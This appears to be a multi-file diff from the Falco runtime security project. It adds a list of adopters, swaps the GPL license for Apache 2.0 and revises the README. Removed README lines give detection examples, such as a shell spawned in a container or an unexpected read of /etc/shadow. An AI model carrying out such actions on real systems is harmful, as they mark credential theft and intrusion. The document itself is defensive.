+# Adopters
+
+Known end users with notable contributions to the project include:
+* AWS
+* IBM
+* Red Hat
+
+Falco is being used by numerous other companies, both large and small, to build higher layer products and services. The list includes but is not limited to:
+* Equinix Metal
+* IEEE
+* Lowes
+* Reckrut
+* Yellow Pepper
+* CTx
+* Utikal
+* Discrete Events
+* Agritech Infra
+
+This is a list of production adopters of Falco (in alphabetical order):
+
+* [ASAPP](https://www.asapp.com/) - ASAPP is a pushing the boundaries of fundamental artificial intelligence research. We apply our research into AI-Native® products that make organizations, in the customer experience industry, highly productive, efficient, and effective—by augmenting human activity and automating workflows. We constantly monitor our workloads against different hazards and FALCO helps us extend our threat monitoring boundaries.
+
+* [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
+
+* [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
+
+* [Deckhouse](https://deckhouse.io/) - Deckhouse Platform presents to you the opportunity to create homogeneous Kubernetes clusters anywhere and handles comprehensive, automagical management for them. It supplies all the add-ons you need for auto-scaling, observability, security, and service mesh. Falco is used as a part of the [runtime-audit-engine](https://deckhouse.io/documentation/latest/modules/650-runtime-audit-engine/) module to provide threats detection and enforce security compliance out of the box. By pairing with [shell-operator](https://github.com/flant/shell-operator) Falco can be configured by Kubernetes Custom Resources.
+
+* [Fairwinds](https://fairwinds.com/) - [Fairwinds Insights](https://fairwinds.com/insights), Kubernetes governance software, integrates Falco to offer a single pane of glass view into potential security incidents. Insights adds out-of-the-box integrations and rules filter to reduce alert fatigue and improve security response. The platform adds security prevention, detection, and response capabilities to your existing Kubernetes infrastructure. Security and DevOps teams benefit from a centralized view of container security vulnerability scanning and runtime container security.
+
+* [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
+
+* [Giant Swarm](https://www.giantswarm.io/) - Giant Swarm manages Kubernetes clusters and infrastructure for enterprises across multiple cloud providers as well as several flavors of on-premises data centers. Our platform provisions and monitors pure "vanilla" Kubernetes clusters which can be augmented with managed solutions to many common Kubernetes challenges, including security. We use Falco for anomaly detection as part of our collection of entirely open-source tools for securing our own clusters, and offer the same capabilities to our customers as part of our [managed security offering](https://docs.giantswarm.io/app-platform/apps/security/).
+
+* [GitLab](https://about.gitlab.com/direction/defend/container_host_security/) - GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate. GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.
+
+* [gVisor](https://gvisor.dev/) - gVisor secures Kubernetes, containers, and workloads via an alternate execution environment that handles system calls in user space, blocking security issues before they reach the underlying host. gVisor provides defense-in-depth, protection against untrusted code execution, and a secure-by-default Kubernetes experience where containers are a security boundary. Falco can be used with gVisor to detect unusual or suspicious activity using its threat detection engine on top of gVisor runtime execution information.
+
+* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containers which could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
+
+* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.
+  * https://logz.io/blog/k8s-security-with-falco-and-cloud-siem/
+
+* [MathWorks](https://mathworks.com) - MathWorks develops mathematical computing software for engineers and scientists. MathWorks uses Falco for Kubernetes threat detection, unexpected application behavior, and maps Falco rules to their cloud infrastructure's security kill chain model. MathWorks presented their Falco use case at [KubeCon + CloudNativeCon North America 2020](https://www.youtube.com/watch?v=L-5RYBTV010).
+
+* [Pocteo](https://pocteo.co) - Pocteo helps with Kubernetes adoption in enterprises by providing a variety of services such as training, consulting, auditing and mentoring. We build CI/CD pipelines the GitOps way, as well as design and run k8s clusters. Pocteo uses Falco as a runtime monitoring system to secure clients' workloads against suspicious behavior and ensure k8s pods immutability. We also use Falco to collect, process and act on security events through a response engine and serverless functions.
+
+* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPAA compliance requirements.
+  * https://hipaa.preferral.com/01-preferral_hipaa_compliance/

+
+* [Skyscanner](https://www.skyscanner.net) - Skyscanner is the world's travel search engine for flights, hotels and car rentals. Most of our infrastructure is based on Kubernetes, and our Security team is using Falco to monitor anomalies at runtime, integrating Falco's findings with our internal ChatOps tooling to provide insight on the behavior of our machines in production. We also postprocess and store Falco's results to generate dashboards for auditing purposes.
+
+* [Sumo Logic](https://www.sumologic.com/) - Sumo Logic provides a SaaS based log aggregation service that provides dashboards and applications to easily identify and analyze problems in your application and infrastructure. Sumo Logic provides native integrations for many CNCF projects, such as Falco, that allows end users to easily collect Falco events and analyze Falco events on DecSecOps focused dashboards.
+
+* [Swissblock Technologies](https://swissblock.net/) At Swissblock we connect the dots by combining cutting-edge algorithmic trading strategies with in-depth market analysis. We route all Falco events to our control systems, both monitoring and logging. Being able to deeply analyse alerts, we can understand what is running on our Kubernetes clusters and check against security policies, specifically defined for each workload. A set of alarms notifies us in case of critical events, letting us react fast. In the near future we plan to build a little application to route Kubernetes internal events directly to Falco, fully leveraging Falco PodSecurityPolicies analyses.
+
+* [Shapesecurity/F5](https://www.shapesecurity.com/) Shapesecurity defends against application fraud attacks like Account Take Over, Credential Stuffing, Fake Accounts, etc. Required by FedRamp certification, we needed to find a FIM solution to help monitor and protect our Kubernetes clusters. Traditional FIM solutions were not scalable and not working for our environment, but with Falco we found the solution we needed. Falco's detection capabilities have helped us identify anomalous behaviour within our clusters. We leverage Sidekick (https://github.com/falcosecurity/charts/tree/master/falcosidekick) to send Falco alerts to a PubSub which in turn publishes those alerts to our SIEM (SumoLogic)
+
+* [Yahoo! JAPAN](https://www.yahoo.co.jp/) Yahoo! JAPAN is a leading company of internet in Japan. We build an AI Platform in our private cloud and provide it to scientists in our company. AI Platform is a multi-tenant Kubernetes environment and more flexible, faster, more efficient Machine Learning environment. Falco is used to detect unauthorized commands and malicious access and our AI Platform is monitored and alerted by Falco.
+
+* [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call driver. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended Falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-defined infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
+
+* [Xenit AB](https://xenit.se/contact/) Xenit is a growth company with services within cloud and digital transformation. We provide an open-source Kubernetes framework that we leverage to help our customers get their applications to production as quickly and as securely as possible. We use Falco's detection capabilities to identify anomalous behaviour within our clusters in both Azure and AWS.
+
+## Projects that use Falco libs
+
+* [R6/Phoenix](https://r6security.com/) is an attack surface protection company that uses moving target defense to provide fully automated, proactive and devops friendly security to its customers. There are a set of policies you can add to enable the moving target defense capabilities. Some of them are triggered by a combination of Falco's findings. You can kill, restart and rename pods according to the ever changing policies.
+
+* [SysFlow](https://sysflow.io) SysFlow is a cloud-native system telemetry framework that focuses on data abstraction, behavioral analytics, and noise reduction. At its core, SysFlow exposes a compact open telemetry format that records workload behaviors by connecting event and flow representations of process control flows, file interactions, and network communications. The resulting abstraction encodes a graph structure that enables provenance reasoning on host and container environments, and fast retrieval of security-relevant information.
+
+* [StackRox](https://stackrox.io) is the industry’s first Kubernetes-native security platform enabling organizations to build, deploy, and run cloud-native applications securely. The platform works with Kubernetes environments and integrates with DevOps and security tools, enabling teams to operationalize and secure their supply chain, infrastructure, and workloads. StackRox aims to harness containerized applications’ development speed while giving operations and security teams greater context and risk profiling. StackRox leverages cloud-native principles and declarative artifacts to automate DevSecOps best practices.

-                            Preamble
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
 
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Lesser General Public License instead.)  You can apply it to
-your programs, too.
+   1. Definitions.
 
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
 
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
 
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
 
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
 
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
 
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
 
-  The precise terms and conditions for copying, distribution and
-modification follow.
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
 
-                    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
 
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
 
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
 
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
 
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
 
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
 
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
 
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
 
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
 
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
 
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
 
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
 
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
 
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
 
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
 
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
 
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
+   END OF TERMS AND CONDITIONS
 
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
+   APPENDIX: How to apply the Apache License to your work.
 
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
 
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
+   Copyright 2019 The Falco Authors
 
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
 
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.

-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-                            NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-* In addition, as a special exception, the copyright holders give
-* permission to link the code of portions of this program with the
-* OpenSSL library under certain conditions as described in each
-* individual source file, and distribute linked combinations
-* including the two.
-* You must obey the GNU General Public License in all respects
-* for all of the code used other than OpenSSL.  If you modify
-* file(s) with this exception, you may extend this exception to your
-* version of the file(s), but you are not obligated to do so.  If you
-* do not wish to do so, delete this exception statement from your
-* version.
-
-                     END OF TERMS AND CONDITIONS
-
-            How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>

-## Overview
-Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
+## Latest releases
 
-#### What kind of behaviors can Falco detect?
+Read the [change log](CHANGELOG.md).
 
-Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+<!-- 
+Badges in the following table are constructed by using the
+https://img.shields.io/badge/dynamic/xml endpoint.
 
-- A shell is run inside a container
-- A server process spawns a child process of an unexpected type
-- Unexpected read of a sensitive file (like `/etc/shadow`)
-- A non-device file is written to `/dev`
-- A standard system binary (like `ls`) makes an outbound network connection
+Parameters are configured for fetching packages from S3 before 
+(filtered by prefix, sorted in ascending order) and for picking 
+the latest package by using an XPath selector after.
+
+- Common query parameters:
+
+color=#300aec7
+style=flat-square
+label=Falco
+
+- DEB packages parameters:
+
+url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/deb/stable/falco-
+query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
+
+- RPM packages parameters:

+query=substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'], "falco-")
+
+Notes:
+ - if more than 1000 items are present under as S3 prefix, 
+   the actual latest package will be not picked;
+   see https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
+ - for `-dev` packages, the S3 prefix is modified accordingly
+ - finally, all parameters are URL encoded and appended to the badge endpoint

+The Falco Project, originally created by [Sysdig](https://sysdig.com), is an incubating [CNCF](https://cncf.io) open source cloud native runtime security tool.
+Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack. 
+Falco can also be extended to other data sources by using plugins.
+Falco has a rich set of security rules specifically built for Kubernetes, Linux, and cloud-native.
+If a rule is violated in a system, Falco will send an alert notifying the user of the violation and its severity.
 
-License Terms
----
